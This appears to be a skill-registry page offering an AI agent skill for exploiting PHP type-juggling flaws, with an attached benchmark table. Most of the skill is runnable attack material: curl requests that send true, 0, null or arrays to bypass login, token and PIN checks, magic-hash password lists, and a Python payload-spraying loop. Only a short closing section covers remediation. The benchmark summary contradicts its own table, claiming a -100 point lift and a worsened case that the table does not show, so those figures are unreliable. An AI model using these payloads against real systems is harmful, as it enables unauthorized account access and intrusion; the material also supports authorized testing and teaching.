Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Exploit PHP type juggling vulnerabilities caused by loose comparison operators to bypass authentication, circumvent hash verification, and manipulate application logic through type coercion attacks.
.claude/skills/exploiting-type-juggling-vulnerabilities/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-06 | ✓→✓ | = Same ✓ | — | — |
| case-23 | ✗→✗ | = Same ✗ | — | — |
| case-09 | ✗→✗ | = Same ✗ | — | — |
| case-13 | ✗→✗ | = Same ✗ | — | — |
| case-07 | ✗→✗ | = Same ✗ | — | — |
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
bash# Look for PHP applications with: # - Login/authentication forms # - Password comparison endpoints # - API endpoints accepting JSON input # - Token/hash verification # - Numeric comparison for access control # Check if application accepts JSON input (allows type control) curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"test"}' # If application normally uses form data, try JSON # Form: username=admin&password=test # JSON: {"username":"admin","password":true}
bash# PHP loose comparison: 0 == "password" returns TRUE # Send integer 0 as password via JSON curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":0}' # Send boolean true (TRUE == "any_string" in loose comparison) curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":true}' # Send empty array (array bypasses strcmp) curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":[]}' # Send null curl -X POST http://target.com/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":null}' # PHP strcmp vulnerability: strcmp(array, string) returns NULL # NULL == 0 is TRUE in loose comparison curl -X POST http://target.com/login \ -d "username=admin&password[]=anything"
bash# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0) # If hash starts with "0e" followed by only digits, it equals 0 in loose comparison # Magic MD5 hashes (all evaluate to 0 in loose comparison): # "240610708" -> md5: 0e462097431906509019562988736854 # "QNKCDZO" -> md5: 0e830400451993494058024219903391 # "aabg7XSs" -> md5: 0e087386482136013740957780965295 # "aabC9RqS" -> md5: 0e041022518165728065344349536299 # If application compares md5(user_input) == stored_hash: # And stored_hash starts with "0e" and contains only digits after curl -X POST http://target.com/login \ -d "username=admin&password=240610708" # Magic SHA1 hashes: # "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735 # "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393 # Test with known magic hash values for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do echo -n "Testing: $payload -> " curl -s -X POST http://target.com/login \ -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}" echo done
bash# Numeric comparison bypass # If: if($user_id == $target_id) { // allow access } # "0" == "0e12345" is TRUE (both evaluate to 0) # String to integer conversion # "1abc" == 1 is TRUE in PHP (string truncated to integer) curl "http://target.com/api/user?id=1abc" # Boolean comparison for role checking # if($role == true) grants access to any non-empty string curl -X POST http://target.com/api/action \ -H "Content-Type: application/json" \ -d '{"action":"delete","role":true}' # Null comparison for optional checks # if($token == null) might skip validation curl -X POST http://target.com/api/verify \ -H "Content-Type: application/json" \ -d '{"token":0}'
bash# PHP json_decode() preserves types # Attacker controls type via JSON: true, 0, null, [] # Bypass token verification curl -X POST http://target.com/api/verify-token \ -H "Content-Type: application/json" \ -d '{"token":true}' # Bypass numeric PIN verification curl -X POST http://target.com/api/verify-pin \ -H "Content-Type: application/json" \ -d '{"pin":true}' # Bypass with zero value curl -X POST http://target.com/api/check-code \ -H "Content-Type: application/json" \ -d '{"code":0}' # PHP unserialize() type juggling # Craft serialized object with integer type instead of string # s:8:"password"; -> i:0; (string "password" to integer 0)
bash# Test all common type juggling payloads against each parameter # Using Burp Intruder with type juggling payload list # Payload list for JSON-based testing: # true # false # null # 0 # 1 # "" # [] # "0" # "0e99999" # "240610708" # Python automation python3 -c " import requests import json url = 'http://target.com/api/login' payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO'] for p in payloads: data = {'username': 'admin', 'password': p} r = requests.post(url, json=data) print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}') "
| Concept | Description | |---------|-------------| | Loose Comparison (==) | PHP comparison that performs type coercion before comparing values | | Strict Comparison (===) | PHP comparison requiring both value and type to match | | Magic Hash | String whose hash starts with "0e" followed by digits, evaluating to 0 in loose comparison | | Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison | | strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison | | JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints | | Scientific Notation | PHP interprets "0eN" strings as 0 in exponential notation during numeric comparison |
| Tool | Purpose | |------|---------| | Burp Suite | HTTP proxy for changing parameter types in requests | | PHP interactive shell | Local testing of type juggling behavior | | PayloadsAllTheThings | Curated magic hash and type juggling payload lists | | phpggc | PHP generic gadget chains for deserialization exploitation | | Custom Python scripts | Automated type juggling payload testing | | PHPStan/Psalm | Static analysis tools detecting loose comparisons in code |
"password": true as JSON to bypass loose comparison password verificationpassword[]=anything to make strcmp() return NULL, bypassing password comparison"role": true to match any non-empty role string in loose comparison access checks## Type Juggling Vulnerability Report
- **Target**: http://target.com
- **Language**: PHP 8.1
- **Framework**: Laravel
### Findings
| # | Endpoint | Parameter | Payload | Type | Impact |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true (boolean) | Loose comparison | Auth bypass |
| 2 | POST /login | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |
| 3 | POST /login | password[] | array | strcmp NULL return | Auth bypass |
| 4 | POST /verify | code | 0 (integer) | Numeric comparison | OTP bypass |
### PHP Comparison Table (Relevant)
| Expression | Result | Reason |
|-----------|--------|--------|
| 0 == "password" | TRUE | String cast to 0 |
| true == "password" | TRUE | Non-empty string is truthy |
| "0e123" == "0e456" | TRUE | Both are scientific notation = 0 |
| NULL == 0 | TRUE | NULL cast to 0 |
### Remediation
- Replace all == with === (strict comparison) in security-critical code
- Use password_verify() for password comparison instead of direct comparison
- Use hash_equals() for timing-safe hash comparison
- Validate input types before comparison operations
- Enable PHP strict_types declaration in all files| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-24 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 24 cases were attempted. The headline lift of -100 percentage points is the difference between those two pass rates over the 24 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.